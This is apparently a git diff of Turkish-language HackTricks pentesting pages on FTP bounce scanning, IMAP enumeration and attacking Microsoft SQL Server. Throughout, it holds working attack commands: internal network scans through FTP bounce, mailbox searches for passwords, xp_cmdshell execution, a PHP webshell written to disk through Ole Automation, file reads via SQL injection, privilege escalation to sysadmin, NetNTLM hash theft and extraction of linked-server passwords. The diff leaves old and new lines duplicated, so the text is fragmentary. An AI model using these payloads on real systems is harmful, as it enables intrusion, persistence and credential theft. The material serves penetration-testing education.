* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# FTP Bounce - Tarama
## El ile
## Manuel
1. Zafiyetli FTP'ye bağlanın
2. Tarama yapmak istediğiniz _\<IP:Port>_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ancak sadece birini) kullanın:
2. Taramak istediğiniz _\<IP:Port>_ ile bağlantı kurmasını sağlamak için **`PORT`** veya **`EPRT`** (ancak yalnızca birini) kullanın:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. **`LIST`** kullanın (bu, FTP klasöründeki mevcut dosyaların listesini bağlı _\<IP:Port>_ adresine gönderir) ve olası yanıtları kontrol edin: `150 File status okay` (Bu, portun açık olduğunu gösterir) veya `425 No connection established` (Bu, portun kapalı olduğunu gösterir)
4. `LIST` yerine **`RETR /file/in/ftp`** kullanabilir ve benzer `Open/Close` yanıtlarını arayabilirsiniz.
3. **`LIST`** kullanın (bu sadece FTP klasöründeki mevcut dosyaların listesini bağlı _\<IP:Port>'a gönderir) ve olası yanıtları kontrol edin: `150 File status okay` (Bu, portun açık olduğu anlamına gelir) veya `425 No connection established` (Bu, portun kapalı olduğu anlamına gelir)
4. `LIST` yerine **`RETR /file/in/ftp`** kullanabilir ve benzer `ık/Kapalı` yanıtları arayabilirsiniz.
**PORT** kullanarak örnek (172.32.80.80'in 8080 numaralı bağlantı noktasıık ve 7777 numaralı bağlantı noktası kapalı):
**PORT** kullanarak örnek (172.32.80.80'in 8080 numaralı bağlantı noktasıık ve 7777 kapalı):
![](<../../.gitbook/assets/image (225).png>)
Aynı örnek **`EPRT`** kullanarak (görüntüde kimlik doğrulama atlanmıştır):
Aynı örnek **`EPRT`** kullanarak (kimlik doğrulama resimde atlanmıştır):
![](<../../.gitbook/assets/image (226).png>)
`LIST` yerine **`EPRT`** kullanarak açık port (farklı ortam)
`LIST` yerine `EPRT` kullanarak açık port (farklı ortam)
![](<../../.gitbook/assets/image (228).png>)
@ -43,16 +50,23 @@ nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
@ -14,14 +14,22 @@ HackTricks'ı desteklemenin diğer yolları:
</details>
## Internet Message Access Protocol
**Try Hard Security Group**
**Internet Message Access Protocol (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak amacıyla tasarlanmıştır**, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **çoklu cihazlardan** e-postaları kontrol etme kolaylığını sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur.
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
IMAP protokolü varsayılan olarak iki port üzerinde çalışır:
{% embed url="https://discord.gg/tryhardsecurity" %}
* **Port 143** - bu, varsayılan IMAP şifrelenmemiş portudur
* **Port 993** - bu, IMAP'ı güvenli bir şekilde kullanarak bağlanmak istediğiniz porttur
***
## Internet Mesaj Erişim Protokolü
**Internet Mesaj Erişim Protokolü (IMAP)**, kullanıcıların **herhangi bir konumdan e-posta mesajlarına erişmelerini sağlamak** amacıyla tasarlanmıştır, genellikle bir İnternet bağlantısı aracılığıyla. Temelde, e-postalar **bir sunucuda saklanır** ve bireyin kişisel cihazına indirilip depolanmaz. Bu, bir e-posta erişildiğinde veya okunduğunda, bunun **doğrudan sunucudan** yapıldığı anlamına gelir. Bu yetenek, **çeşitli cihazlardan** e-postaları kontrol etme kolaylığı sağlar, kullanılan cihazdan bağımsız olarak hiçbir mesajın kaçırılmadığından emin olur.
IMAP protokolü varsayılan olarak iki bağlantı noktasında çalışır:
* **Port 143** - bu, varsayılan IMAP şifrelenmemiş bağlantı noktasıdır
* **Port 993** - bu, IMAP ile güvenli bir şekilde bağlanmak istiyorsanız kullanmanız gereken bağlantı noktasıdır
```
PORT STATE SERVICE REASON
143/tcp open imap syn-ack
@ -42,7 +50,7 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
```
Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatize** edin
Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatikleştirin**
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
@ -115,13 +123,13 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Bu aramanın sonucu bir mesaj dizini listesidir.
Daha karmaşık arama terimleri de sağlanabilir. Örneğin, şifre içeren taslakları aramak:
Ayrıca daha karmaşık arama terimleri de sağlanabilir. Örneğin, mail gövdesinde şifre içeren taslakları aramak:
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
Arama terimlerinin mümkün olan güzel bir genel bakışı [burada](https://www.atmail.com/blog/imap-commands/) bulunmaktadır.
3. Bir ileti indirme (imap komutu `SELECT Taslak` ve ardından `FETCH 1 BODY[]`)
3. Bir ileti indirme (imap komutu `SELECT Drafts` ve ardından `FETCH 1 BODY[]`)
```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
```
@ -132,11 +140,11 @@ Ayrıca mesajlara erişmek için `UID` (benzersiz kimlik) kullanmak da mümkünd
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusu ve göndericisi (konuyu ve göndericiyi görmek için `-v` gereklidir):
Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusu ve göndericisini indirmek (-v konusu ve göndericiyi görmek için gereklidir):
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
Belki daha temiz olur, sadece küçük bir for döngüsü yazmak:
Belki daha temiz olması için sadece küçük bir for döngüsü yazmak daha iyidir:
```bash
for m in {1..5}; do
echo $m
@ -145,8 +153,14 @@ done
```
## Shodan
* `port:143 KABİLİYET`
* `port:993 KABİLİYET`
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Otomatik Komutları
```
@ -186,8 +200,8 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -1,4 +1,4 @@
# 1433 - Pentesting MSSQL - Microsoft SQL Server
# 1433 - MSSQL Pentesting - Microsoft SQL Server
<details>
@ -8,17 +8,25 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)'dan:
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde veri depolama ve geri alma işlevini yerine getiren bir yazılım ürünüdür - bu uygulamalar ya aynı bilgisayarda ya da ağ üzerindeki başka bir bilgisayarda (İnternet dahil) çalışabilir.
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde veri depolama ve geri alma işlevini yerine getiren bir yazılım ürünüdür - bu uygulamalar ya aynı bilgisayarda ya da ağ üzerinde başka bir bilgisayarda (İnternet dahil) çalışabilir.
**Varsayılan port:** 1433
```
@ -28,7 +36,7 @@ HackTricks'ı desteklemenin diğer yolları:
* **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyi ayrıntıları yakalar ve hayati öneme sahiptir.
* **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlamayı yönetmek için bu veritabanını kullanır.
* **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir taslak olarak hareket eder, burada boyut, karşılaştırma, kurtarma modeli ve daha fazlası gibi herhangi bir değişiklik, yeni oluşturulan veritabanlarında yansıtılır.
* **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir plan olarak hareket eder, burada boyut, karşılaştırma, kurtarma modeli ve daha fazlası gibi herhangi bir değişiklik, yeni oluşturulan veritabanlarında yansıtılır.
* **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Fiziksel olarak Resource veritabanında depolanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
* **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet verir.
@ -43,7 +51,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
Eğer **kimlik bilgileriniz yoksa**, onları tahmin etmeyi deneyebilirsiniz. Nmap veya metasploit kullanabilirsiniz. Dikkatli olun, var olan bir kullanıcı adını kullanarak birkaç kez giriş yapmada başarısız olursanız hesapları **engelleyebilirsiniz**.
Eğer **kimlik bilgileriniz yoksa**, onları tahmin etmeyi deneyebilirsiniz. Nmap veya metasploit kullanabilirsiniz. Dikkatli olun, var olan bir kullanıcı adını kullanarak birkaç kez başarısız giriş yaparsanız, hesapları **bloklatabilirsiniz**.
{% endhint %}
#### Metasploit (kimlik bilgileri gereklidir)
@ -80,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass
```
### [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### Manuel Numaralandırma
### Elle Numaralandırma
#### Giriş
```bash
@ -145,12 +153,12 @@ SELECT * FROM sysusers
```
#### İzinleri Al
1. **Güvenlik:** SQL Server tarafından yönetilen erişim kontrolü için tanımlanan kaynaklar olarak tanımlanır. Bunlar şu şekilde kategorilere ayrılır:
1. **Güvenlik:** SQL Server tarafından yönetilen kaynaklar için erişim kontrolü olarak tanımlanır. Bunlar şu şekilde kategorilere ayrılır:
- **Sunucu** Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
- **Veritabanı** Örnekler veritabanı rolü, uygulama rolleri, şema, sertifikalar, tam metin katalogları ve kullanıcıları kapsar.
- **Şema** Tabloları, görünümleri, prosedürleri, işlevleri, sinonimleri vb. içerir.
2. **İzin:** SQL Server güvenlik unsurlarıyla ilişkilendirilen izinler arasında ALTER, CONTROL ve CREATE gibi izinler bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
2. **İzin:** SQL Server güvenlik unsurlarıyla ilişkilendirilen izinler, ALTER, CONTROL ve CREATE gibi izinler bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
- **Sunucu Düzeyi** girişler kullanılarak
- **Veritabanı Düzeyi** kullanıcılar kullanılarak
@ -179,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
### İşletim Sistemi Komutları Çalıştırma
{% hint style="danger" %}
Komutları çalıştırabilmek için **`xp_cmdshell`**'in **etkin** olması yeterli değildir, aynı zamanda **`xp_cmdshell` depolanan prosedüründe **EXECUTE iznine** sahip olmak da gereklidir. Kimlerin (sysadminler hariç) **`xp_cmdshell`**'i kullanabileceğini alabilirsiniz:
Komutları çalıştırabilmek için **`xp_cmdshell`**'in **etkin** olması yeterli değildir, aynı zamanda **`xp_cmdshell` depolanan prosedüründe EXECUTE iznine sahip olmak** da gereklidir. Kimlerin (sysadmin'ler hariç) **`xp_cmdshell`**'i kullanabileceğini alabilirsiniz:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
@ -236,14 +244,14 @@ EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}
**responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
Bu araçların nasıl kullanılacağını aşağıdaki bağlantıda görebilirsiniz:
**Responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
Bu araçları nasıl kullanacağınızı aşağıdaki bağlantıda görebilirsiniz:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
### MSSQL Güvenilir Bağlantıları Kötüye Kullanma
### MSSQL Güvenilen Bağlantıları Kötüye Kullanma
Bu özelliği nasıl kötüye kullanacağınız hakkında daha fazla bilgi için [**bu yazıyı okuyun**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md):
@ -253,7 +261,7 @@ Bu özelliği nasıl kötüye kullanacağınız hakkında daha fazla bilgi için
### **Dosya Yazma**
`MSSQL` kullanarak dosya yazabilmek için, yönetici ayrıcalıklarına sahip olmamız gerekmektedir ve ardından dosyayı oluşturmak için bazı depolanan prosedürleri çalıştırmamız gerekmektedir:
`MSSQL` kullanarak dosya yazmak için, yönetici ayrıcalıklarına sahip olmamızı gerektiren [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) özelliğini etkinleştirmemiz ve ardından dosyayı oluşturmak için bazı depolanan prosedürleri çalıştırmamız gerekmektedir:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -271,7 +279,7 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **OPENROWSET ile Dosya Okuma**
### **OPENROWSET ile dosya okuma**
Varsayılan olarak, `MSSQL`, hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okumaya izin verir. Aşağıdaki SQL sorgusunu kullanabiliriz:
```sql
@ -290,7 +298,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
MSSQL, **Python ve/veya R'de kodları çalıştırmanıza izin verebilir**. Bu kodlar, komutları çalıştırmak için **xp\_cmdshell** kullanan kullanıcıdan **farklı bir kullanıcı** tarafından çalıştırılacaktır.
Örnek olarak **'R'** ile _"Merhaba Dünya!"_ **çalıştırmaya çalışmak işe yaramaz**:
**'R'** _"Merhaba Dünya!"_ **çalıştırmaya yönelik örnek çalışmıyor**:
![](<../../.gitbook/assets/image (185) (1).png>)
@ -308,7 +316,7 @@ print(sys.version)
'
GO
```
### Registry'yi Oku
### Registry'i Oku
Microsoft SQL Server, **birden fazla genişletilmiş depolama prosedürü** sağlar, bu prosedürler sayesinde sadece ağ ile etkileşimde bulunmakla kalmaz, aynı zamanda dosya sistemi ve hatta [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)** ile de etkileşimde bulunabilirsiniz:**
@ -335,21 +343,22 @@ EXEC sp_helprotect 'xp_regwrite';
```
**Daha fazla örnek** için [**orijinal kaynağa**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) göz atın.
### MSSQL Kullanıcı Tanımlı Fonksiyon ile RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
### MSSQL Kullanıcı Tanımlı Fonksiyon ile Uzaktan Kod Çalıştırma - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Özel fonksiyonlarla bir .NET dll'sini MSSQL içinde yüklemek mümkündür. Bunun için **`dbo` erişimi gerektirir**, bu yüzden veritabanına bağlantı **`sa` veya Yönetici rolü olarak** olmalıdır.
Özel fonksiyonlarla bir .NET dll'sini MSSQL içinde yüklemek mümkündür. Bunun için **`dbo` erişimi gerektirir**, bu yüzden veritabanına bağlantı **`sa` veya Yönetici rolüyle** olmalıdır.
Bir örneği görmek için [**bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).
Bir örnek görmek için [**bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).
### RCE için Diğer Yöntemler
Komut yürütme elde etmek için diğer yöntemler vardır, örneğin [genişletilmiş depolanan prosedürler](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assembly'ler](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Komut yürütme elde etmek için [uzatılmış depolama prosedürleri](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assembly'ler](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) eklemek gibi diğer yöntemler bulunmaktadır.
## MSSQL Yetki Yükseltme
### db\_owner'dan sysadmin'e
Eğer bir **normal kullanıcıya** bir **`db_owner`** rolü verilirse ve bu rol, bir yönetici kullanıcısı (örneğin **`sa`**) tarafından sahip olunan bir veritabanına atanırsa ve bu veritabanı **`trustworthy`** olarak yapılandırılmışsa, bu kullanıcı bu ayrıcalıkları **yetki yükseltme** için kötüye kullanabilir çünkü orada oluşturulan **depolanmış prosedürler**, sahibi (**yönetici**) olarak **çalıştırılabilir**.
Eğer bir **normal kullanıcıya** bir **`db_owner`** rolü verilirse ve bu rol, bir yönetici kullanıcısı (örneğin **`sa`**) tarafından sahip olunan bir veritabanına atanırsa ve bu veritabanı **`trustworthy`** olarak yapılandırılmışsa, bu kullanıcı bu ayrıcalıkları **yetki yükseltme** için kötüye kullanabilir çünkü orada oluşturulan **saklanmış prosedürler**, sahibi (**yönetici**) olarak **çalıştırılabilir**.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -383,7 +392,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Şu **metasploit** modülünü kullanabilirsiniz:
**Metasploit** modülünü kullanabilirsiniz:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
@ -395,7 +404,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Diğer kullanıcıların taklit edilmesi
SQL Server'ın **`IMPERSONATE`** adında özel bir izni vardır. Bu izin, **yürütülen kullanıcının başka bir kullanıcının izinlerini** veya oturumu sıfırlanana veya oturum sona erene kadar almasına olanak tanır.
SQL Server'ın **`IMPERSONATE`** adında özel bir izni vardır. Bu izin, **yürütülen kullanıcının başka bir kullanıcının izinlerini veya oturum açma bilgilerini almasına izin verir** ve bu bağlam sıfırlanana veya oturum sona erene kadar devam eder.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -434,13 +443,13 @@ veya bir **PS** betiği ile:
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
## MSSQL'i Kalıcı Olarak Kullanma
## MSSQL'i Kalıcılık için Kullanma
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Bağlantılı Sunuculardan Şifreleri Çıkarma
Bir saldırgan, SQL Server Bağlantılı Sunucuların şifrelerini SQL Örneklerinden çıkarabilir ve bunlarıık metin olarak alarak saldırgana hedef üzerinde daha büyük bir hak elde etmek için kullanılabilecek şifreler verir.
Bağlantılı Sunucular için depolanan şifreleri çıkarmak ve şifreleri çözmek için kullanılabilecek betik [burada](https://www.richardswinbank.net/admin/extract_linked_server_passwords) bulunabilir.
## SQL Server Bağlı Sunuculardan Şifrelerin Çıkarılması
